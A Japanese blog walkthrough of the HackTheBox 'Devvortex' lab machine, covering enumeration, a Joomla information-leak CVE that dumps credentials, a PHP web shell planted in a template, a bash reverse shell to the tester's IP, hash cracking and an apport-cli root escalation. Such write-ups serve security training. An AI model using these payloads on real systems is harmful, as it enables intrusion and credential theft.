今回はHackTheBoxのEasyマシン「Devvortex」のWriteUpです!
名前から開発系?のような雰囲気が出ている気がしなくもないですが、どのようなマシンなのでしょうか。
グラフはまさにEasyマシン!といった感じになっていますね。
攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Devvortex
列挙
それでは攻略を開始していきます!
まずはポートスキャンから実行していきましょう。
+[~/devvortex]
(σ▰>∇<)σ<>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.242
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devvortex.htb/
SSHとHTTPがオープンしてますね。
80番にブラウザからアクセスしてみましょう。
どうやら、DevvortexはWEBの制作を行うサイトのようです。
サイトの中を見て回りましたが、特に気になる遷移は見つかりませんでした。
ディレクトリ探索も特に新しい情報を得ることはできなかったので、サブドメインを列挙することにしました。ffuf
を実行してみると...
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://devvortex.htb -H 'HOST: FUZZ.devvortex.htb' -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://devvortex.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.devvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 7427ms]
dev
というサブドメインを発見しました。マシンの名前にピッタリですね笑
hosts
ファイルに追記し、ブラウザでアクセスしてみましょう。
先ほどのページと書いてあることは特に変わらなさそうに見えますが、新たなサイトを発見できました。
しかしこちらのサイトも特に気になる遷移はないので、ディレクトリ探索を行ってみます。
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://dev.devvortex.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://dev.devvortex.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
administrator [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 227ms]
api [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
cache [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 195ms]
components [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
home [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 1310ms]
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 360ms]
includes [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 188ms]
index.php [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 1479ms]
language [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 178ms]
layouts [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
libraries [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 387ms]
media [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 350ms]
modules [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
plugins [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
robots.txt [Status: 200, Size: 764, Words: 78, Lines: 30, Duration: 316ms]
templates [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 296ms]
tmp [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 369ms]
複数のファイル / ディレクトリを発見しました。
まずはadministratior
が気になるので確認してみます。
Joomla!
のログインページが表示されました。認証情報を取得できればRCEへつなげることができそうです。
CVE-2023-23752
では、認証情報を取得するためにさらに列挙を進めていきます。まず一番最初に知りたいのはJoomla!
のバージョンです。Joomla!
の攻撃手法については、様々な手法が紹介されており、HackTricksにも情報が載っています。
記事にも記載されているとおり、バージョンを確認したい場合は/administrator/manifests/files/joomla.xml
へアクセスするといいみたいです。アクセスしてみましょう。
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ curl http://dev.devvortex.htb/administrator/manifests/files/joomla.xml
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<version>4.2.6</version>
<creationDate>2022-12</creationDate>
<description>FILES_JOOMLA_XML_DESCRIPTION</description>
...
バージョンが4.2.6
であることがわかりました!このバージョンに脆弱性がないか調べてみると、ちょうど先ほど引用したHackTricksの記事にも情報がありました。
ページから引用
バージョン4.0.0から4.2.7までが認証なしの情報漏洩(CVE-2023-23752)に脆弱であり、資格情報やその他の情報をダンプします。
どうやら、認証を必要とせずに情報漏洩を行ってしまう脆弱性が存在するようです。設定ファイルを見ることでログインに使用できる認証情報を取得できそうなので、こちらもアクセスしてみましょう。
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
{"links":
{
"self":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true",
"next":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
"last":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
},
"data":[
{
...
{"type":"application","id":"224","attributes":{"user":"lewis","id":224}},
{"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},
{"type":"application","id":"224","attributes":{"db":"joomla","id":224}},
{"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},
...
ユーザ名とパスワードが出力されました!
この認証情報を使用してログインしましょう。
ログインに成功しました!
RCE
ログインに成功したので、あとはRCEを発火させるだけです。RCEはテンプレートを編集し発火させます。
まずはSystem
に移動します。
System
の中のSite Templates
を押下し、存在するテンプレート(Cassiopeia Details and Files
)を押下します。
複数ファイルが出てくるので、その中のerror.php
を選択し、2行目に<?php system($_GET['cmd']); ?>
を追加します。
追加出来たらSave
を押下し、セーブします。
うまくセーブできたら、/templates/cassiopeia/error.php
へ?cmd=id
を指定した状態でアクセスしましょう。
コマンドの実行に成功しました!
www-data としてのシェル
それでは、シェルを取得します。
コマンドはいつものように以下をURLエンコードし使用します。
> plain
bash -c 'bash -i >& /dev/tcp/10.10.14.4/2121 0>&1'
> url encode
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%34%2f%32%31%32%31%20%30%3e%26%31%27
実行前に待ち受けだけは忘れないようにしてください。
準備ができたら、cmd
パラメータにURLエンコード後のコマンドを指定しerror.php
へアクセスします。
特に画面表示はないですが、待ち受けを確認すると...
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.242] 59714
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia$ whoami
whoami
www-data
シェルの取得に成功しました!
横移動
それでは、ここからローカルユーザへ横移動を目指していきます。
まずは、どのようなユーザが存在しているか確認しましょう。
www-data@devvortex:~$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 3 logan logan 4096 Nov 21 11:04 logan
logan
というユーザが存在しているようです。
そういえばですが、Joomla!
のユーザ一覧にもlogan
ユーザが存在していました。
データベース内に情報が保存されているようなので、MySQLにアクセスすればパスワードが取得できそうです。
Joomla!
は、configuration.php
にデータベースの情報が登録されているので、確認してみましょう。
www-data@devvortex:~/dev.devvortex.htb$ cat configuration.php
<?php
class JConfig {
public $offline = false;
public $offline_message = 'This site is down for maintenance.<br>Please check back again soon.';
public $display_offline_message = 1;
public $offline_image = '';
public $sitename = 'Development';
...
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'lewis';
public $password = 'P4ntherg0t1n5r3c0n##';
...
どうやらログイン情報と同じ情報でMySQLへ接続できそうです。
接続してみましょう。
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4786
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
接続できました!
Hack Crack
それではデータベース内の探索を始めましょう。
まずはデータベースの一覧を確認します。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
joomla
というデータベースがありますね。このデータベースを使用するように設定し、テーブルを検索しましょう。
mysql> use joomla
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| sd4fg_action_log_config |
| sd4fg_action_logs |
| sd4fg_action_logs_extensions |
| sd4fg_action_logs_users |
| sd4fg_assets |
...
| sd4fg_usergroups |
| sd4fg_users |
| sd4fg_viewlevels |
...
sd4fg_users
というテーブルにユーザの情報が保存されていそうです。
テーブル内を検索していきましょう。
mysql> select * from sd4fg_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis | lewis | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u | 0 | 1 | 2023-09-25 16:44:24 | 2024-04-28 02:56:46 | 0 | | NULL | 0 | | | 0 | |
| 650 | logan paul | logan | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 | 0 | 0 | 2023-09-26 19:15:42 | NULL | | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL | 0 | | | 0 | |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------
logan
ユーザのハッシュを取得できました!
解読できるか試してみましょう。
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:08 DONE (2024-04-27 23:43) 0.1219g/s 171.2p/s 171.2c/s 171.2C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
解読できました!
logan としてのシェル
それでは解読したパスワードを使用してSSHログインが可能か試してみましょう。
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ssh logan@10.10.11.242
logan@10.10.11.242s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)
logan@devvortex:~$ whoami
logan
SSHログインに成功です!横移動ができました。
logan@devvortex:~$ ls -l
total 4
-rw-r----- 1 root logan 33 Apr 28 01:54 user.txt
ユーザフラグも取得できました!
権限昇格
攻略もいよいよ終盤です。権限昇格を目指しましょう。
まずはいつものようにsudo -l
を実行していきます。
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
どうやらapport-cli
をroot
の権限で実行できるようです。
apport-cli とは?
コマンドラインからクラッシュやエラーの報告を行うためのツールです。
アプリケーションがクラッシュしたときに、このツールを使って自動的にクラッシュ情報を収集し、バグレポートを作成することが可能です。
GTFObinsには攻撃手法がなかったので、Googleで検索してみると以下の記事を発見しました。
どうやらapport-cli
のバージョンが2.26.0
以下である場合、権限昇格の脆弱性が存在しているようです。バージョンを確認してみましょう。
logan@devvortex:~$ sudo /usr/bin/apport-cli -v
2.20.11
脆弱なバージョンでした!
CVE-2023–1326
それでは記事を参考に権限昇格を行いましょう。
まずはsudo
を使用してapport-cli
を実行しましょう。オプションとして--file-bug
を指定します。
logan@devvortex:~$ sudo /usr/bin/apport-cli --file-bug
*** What kind of problem do you want to report?
Choices:
1: Display (X.org)
2: External or internal storage devices (e. g. USB sticks)
3: Security related problems
4: Sound/audio related problems
5: dist-upgrade
6: installation
7: installer
8: release-upgrade
9: ubuntu-release-upgrader
10: Other problem
C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C):
選択するオプションは適当に設定します。
What would you like to do? Your options are:
S: Send report (717.4 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C):
最終的にV: View report
を選択できる状態になったら「V
」を入力します。
== ApportVersion =================================
2.20.11-0ubuntu27
== Architecture =================================
amd64
== CasperMD5CheckResult =================================
skip
== CurrentDmesg =================================
[ 0.000000] Linux version 5.4.0-167-generic (buildd@lcy02-amd64-010) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 (Ubuntu 5.4.0-167.184-generic 5.4.252)
...
[ 0.000002] tsc: Detected 2294.609 MHz processor
[ 0.004590] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
:
入力すると、レポートの画面になります。
root としてのシェル
レポートの画面の一番下に入力箇所があるので、そこに!/bin/bash
を入力します。
[ 0.000002] tsc: Detected 2294.609 MHz processor
[ 0.004590] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
:!/bin/bash
入力後、Enterを押します。
レポート画面が終了し、戻ってきたシェルを見てみると...
Please choose (S/V/K/I/C): V
root@devvortex:/home/logan# whoami
root
root
のシェルを取得できました!
権限昇格成功です!
root@devvortex:~# ls -l
total 4
-rw-r----- 1 root root 33 Apr 28 01:54 root.txt
ルートフラグも無事取得できました!完全攻略達成です!
攻略を終えて
今回のマシンはサクサク攻略できて、とても楽しかったです~!Easyマシンということもあったので、脆弱性もわかりやすく列挙も基本に忠実だったので初心者の方にもおすすめしたいマシンだなと思いました!
今回の初期侵入はJoomla!
のバージョンが脆弱なことから認証情報を取得するといったパスでした。権限昇格でも脆弱なバージョンを悪用しました。バージョン管理は楽ではないとわかっていますが、今回のマシンのような事象を引き起こさないように今後も注意喚起を行っていきたいです。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました~~!